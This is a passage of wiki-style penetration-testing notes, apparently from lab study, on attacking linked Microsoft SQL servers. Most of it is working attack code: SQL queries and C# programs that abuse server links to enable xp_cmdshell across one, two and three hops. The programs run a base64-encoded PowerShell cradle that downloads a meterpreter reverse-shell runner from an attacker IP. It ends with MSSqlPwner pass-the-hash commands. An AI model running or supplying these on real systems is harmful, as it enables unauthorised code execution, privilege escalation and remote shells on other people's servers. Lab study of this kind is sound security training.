* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
